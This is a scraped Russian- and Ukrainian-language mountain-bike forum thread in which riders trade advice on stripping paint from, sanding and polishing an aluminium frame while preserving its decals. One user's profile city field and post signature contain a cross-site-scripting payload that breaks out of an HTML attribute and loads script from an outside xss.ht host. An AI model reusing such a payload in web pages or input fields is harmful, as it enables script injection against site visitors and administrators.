Меню
Список форумов ›››› Железки ›››› Просмотр темы
Полировка байка
[ ]
| Автор | Сообщение | |
 KilRoy
На сайте с 25.12.2010
Репутация: 156 Сообщений 235 Пол: Мужской(26) Город: Ровно Стиль: MTB:Freeride Байк: Commencal Supreme DH V3 + 888 rc2x |
12 дек 2015 в 20:28 Да-да, знаю, тема уже не раз поднималась и "обсасывалась" со всех сторон, да, юзал поиск и да, я все это прочитал.. Но все же, хочу узнать, как отполировать раму, а еще, что еще болие геморние, это сохранить надпись на раме. На сколько помню, надпись SPECIALIZED по боках SX trail"а это наклейка? ну и надпись около стакана Sx trail, да еще и красным, может краска? Как быть с ней, хочу оставить даные надписи, как в прочем и некоторые остальные и сделать что-то похожее как на даном примере [+] Пример   на картинках выше, мне малость не понятно, надпись действительно ли наклейка, или же это краска ? На этой же фотке, четко видно что FOX- наклейка, но вот часть надписи SPECIALIZED что только немного видна, на наклейку не похоже  Кто что скажет о надписях? ну и что болие меня интересует, о полировке рамы? ибо найти посудину, чтоб окунуть части рамы в расстворы химикатов будет почти не реально, да и насторожил пост о том, что когда парень окунул втулку, у него выело посадочные места под пром и промы начали "ходить". Неужели остается старый добрый метод работы руками и "надрочить" раму до блеска нождаком и пастой ГОИ? Но тогда как быть с труднодоступными местами? Помогите пожалуйста своими мыслями, да и кто вообще имел дело с такой работой по полировке, особенно габбаритных деталей. [+] Фото полированых рам     Как добиться таких результатов? Да и еще чтоб со временем не ставало тусклее и не поддавалось корозии? Знаю, все зависит от маркировки Алюминия, и помоему рама с такого Алю, что не должна поддаваться корозии? Конечно можно натирать раму через некоторое время пастой ГОИ, но это напряжно, так как рама это не руль и не вынос, да и чтоб добраться до выемок нужно каждый раз разбирать байк, стоит ли? А просто лаком не покроешь.. Так как быть? Так же, если найду оптимальный метод, хотелось бы отполировать до блеска вилочку, но стал вопрос, штаны FOX'ы нормально отполируются, или это гиблый вариант? За все советы по теме ,конечно же благодарность в виде +-ка в репу      | |
+4
Поделиться:
|
||
Manhunt
На сайте с 24.12.2012
Репутация: 138 Сообщений 116 Пол: Мужской(30) Город: Кременчуг Стиль: MTB:Enduro |
12 дек 2015 в 21:14 KilRoy, есть такая паста Autosol metalpolish, отполировал ею обода. Перед полировкой замыл наждачками 800-1500-2500. После просто наносил пасту и затирал хб тканью. Отполировал за 1час два обода. Полировка происходит за щет химической реакции и на поверхности образуется защитный слой который не дает алюминию окисляться. Прошел месяц, не теряют блеска.   Как минимум ты должен понимать что Я не занимаюсь рокшоксами. Это не кошерный продукт.© | |
+17
|
||
werewolf||
На сайте с 11.11.2011
Репутация: 206 Сообщений 203 Пол: Мужской(27) Город: Чугуев Стиль: MTB:Freeride Байк: Rocky Mountain Flatline 08 + Fox 40 RC2 Fit |
12 дек 2015 в 21:16 Могу дать совет по поводу удаления краски. Мой друг как-то раз решил покрсить свою раму и чтобы нанести краску он сначала удалил старую. Удалял он специальной смывкой краски в виде спрея. Есть еще вроде жидкость. Чтобы защитит радписи, то можноих чем-то заклеить чтобы случайно их не удалить вместе с краской. Поживем - увидим. Переживем - узнаем. Выживем - учтем. | |
+1
|
||
roland
На сайте с 10.01.2008
Репутация: 183 Сообщений 2015 Пол: Мужской(34) Город: Лубны Стиль: MTB:Enduro Байк: FireEye Flame & NS Metropolis |
12 дек 2015 в 21:16 Ты хочешь, как говорится, и рыбку сьесть и на ... сесть. И надписи сохранить, и хенджобом не заниматься, и чтоб не тускнело... Ну с надписями проблем нету - аэрография в помощь, а вот со всем остальным сложнее. Но красота требует жертв, поэтому прийдется следить и регулярно обновлять блеск. Насчет ручной работы - есть всякие полировальные машинки с различными насадками или же насадки на болгарку и дрель, так что практически всю раму можно обработать при помощи инструмента.
| |
+2
|
||
dimdim
На сайте с 09.03.2014
Репутация: 27 Сообщений 154 Пол: Мужской(30) Город: Полтава"><script src=https://d1m.xss.ht Стиль: MTB:DirtJumping Байк: PSlope |
12 дек 2015 в 21:35 Вверху уже написали, снять краску специальной жидкостью, или же как вариант - пескоструй. Снимет всё идеально, но ессно, наклейки клеить заново, или roland писал(а): аэрография в помощь "><script src=https://d1m.xss.ht></script> | |
0
|
||
sheremet
На сайте с 13.02.2014
Репутация: 235 Сообщений 1995 Пол: Мужской(25) Город: Львов Стиль: MTB:Freeride Байк: оговау |
12 дек 2015 в 22:03 з поліровкою хз - але так чи інакше треба буде робити нові наклейки - з їхньою складністю форми збергти їх в стовідсотковій цілісності невдасця - якщо вийде - я б робив поліровку і наклейки під лаком - тоді блиск був би завжди однаковий і наклейки б не здирались оговау | |
+2
|
||
F.l.a.k.e
На сайте с 03.12.2010
Репутация: 601 Сообщений 3276 Пол: Мужской(32) Город: Киев Стиль: MTB:Urban Freeride Байк: Liteville 601 XXL + FOX 36 |
12 дек 2015 в 22:16 Надписи можно сохранить при выполнений таких условий: 1. ТЫ смываешь краску вручную при помощи СП-6, при этом облея каким-то супер крутым скотчем или лентой наклейку (кропотливо вырезая все края, это практически нереально) ... следишь за тем чтобы смывка не подбиралась слишком близко к краям ленты/скотча иначе начнёт жрать окантовку. 2. ТЫ не будешь покрывать раму полимерным лаком и очень осторожно будешь её полировать. Дасвиданья | |
+1
|
||
Bad Trim
На сайте с 10.01.2009
Репутация: 208 Сообщений 346 Пол: Мужской(30) Город: Днепропетровск Стиль: MTB:Downhill Байк: Дартмур 24 пэер |
12 дек 2015 в 22:21 dimdim писал(а): или же как вариант - пескоструй. Не вариант вообще sheremet писал(а): я б робив поліровку і наклейки під лаком - тоді блиск був би завжди однаковий і наклейки б не здирались Ты на полированый алюминий хоть раз ложил лак? если нет то не пиши глупостей,если да и все получилось поделись как
| |
+2
|
||
| sheremet
На сайте с 13.02.2014
Репутация: 235 Сообщений 1995 Пол: Мужской(25) Город: Львов Стиль: MTB:Freeride Байк: оговау |
12 дек 2015 в 22:30 Bad Trim, я не кажу що це гарантований метод) sheremet писал(а): якщо вийде оговау | |
0
|
||
новичок
На сайте с 23.07.2012
Репутация: 267 Сообщений 2466 Пол: Мужской(31) Город: Північний Стиль: MTB:Enduro Байк: Яскравий |
13 дек 2015 в 13:25 бери змивку і оброблюй всю раму. Далі наждачка і войлочний круг з пастою ГОІ. Як все обробиш- замовиш нові наклейки. Це найбільш простий варіант. Що до важкодоступних місць- їх можна не полірувати, бо їх аналогічно погано видно на байку взборі. Мрія не горить Крим-Україна, держава єдина!!! | |
0
|
||
| Bad Trim
На сайте с 10.01.2009
Репутация: 208 Сообщений 346 Пол: Мужской(30) Город: Днепропетровск Стиль: MTB:Downhill Байк: Дартмур 24 пэер |
13 дек 2015 в 14:15 Паста гои прошлый век,долго,грязно и тускнеет,но дешего.Палировочные пасты для дисков и тд рулят
| |
+2
|
||
makola
На сайте с 06.04.2011
Репутация: 31 Сообщений 55 Пол: Мужской(27) Город: Львів Стиль: MTB:Street Байк: Нс Кеп 24\\\" |
13 дек 2015 в 22:05 підпишусь | |
0
|
||
| KilRoy
На сайте с 25.12.2010
Репутация: 156 Сообщений 235 Пол: Мужской(26) Город: Ровно Стиль: MTB:Freeride Байк: Commencal Supreme DH V3 + 888 rc2x |
14 дек 2015 в 11:25 Нашел человека со Штатов, который полировал один из этих байков, оказался он не очень разговорчивый, но буду пытаться узнать больше. на мой вопрос, как он это сделал, удалось узнать только это: Paint stripper steel wool, 1000 gritty wet dry sand paper and mothers polish но удалось кое-что узнать полазив по его профилю. [+] Вот дословно его слова Aircraft/paint stripper make sure to use a brass brush to clean welds. Then use a 600 grit to sand out extrusion. Then go to 800 grit and finish off with 1000. Hit it with mothers polish and a terrycloth towel finish polishing with microfiber. Its easy to maintain it gets scuffed a little I just take a half hour or so once I to a while to polish it quickly. DO NOT SAND BLAST OR QUICK STRIP.....BY HAND AND PAINT STRIPPER. TAKE THE TIME. Alot of elbow grease. 600/800/1000 Brit sand paper 0000 steelewool then mothers polish and a terry cloth rag. Buff with microfiber and there you go Strip it then 400pull on any extrusion marks 600nothing for the majority then 800 followed by 1000.
Hit it with mothers in a circular motion and do t be in a rush at the 600 step Or the 1000 step. Those are the most crucial.
Сделав вывод из всего этого, нужно: Средство для зачистки краски, потом нождак разной зернистости начиная с 400, чтобы сначала зачистить и удалить царапины, в процессе переходить к зернистости 600, 800 дабы уменьшать царапины, ну и в конце 1000, чтобы сделать поверхность болие гладкой для последующей полировки. Не в коем случае не снимать краску пескоструем, работать руками и средством снятия краски. НЕ ТОРОПИТЬСЯ. Полировать махровой тканью, а закончить полировку микрофиброй (хорошая синтетическая ткань).
| |
+1
|
||
ПОХОЖИЕ ТЕМЫ (сортировать по релевантности или по дате)
| Посл. ответ | Тема | Автор | Ответ. | Просм. |
1 дек 2014 в 00:00 |
Полировка хромированных ног.На страницу 1, 2 | Katy | 36 | 10509 |
24 окт 2016 в 00:00 |
полировка алюминьки | mexanik | 8 | 2920 |
7 июн 2011 в 00:00 |
Полировка вилки | Bittersweet | 6 | 7583 |
8 апр 2012 в 00:00 |
полировка алюминия На страницу 1, 2 | Biern | 20 | 34716 |
26 сен 2011 в 00:00 |
полировка карбона На страницу 1, 2 | SHULA | 21 | 21039 |
Список форумов ›››› Железки
© 2003-2024 X-Bikers.com - горный велосипед, велотриал, фрирайд, стрит, дёрт, BMX
Размещение рекламы на сайте
Использование материалов без разрешения владельцев не допускается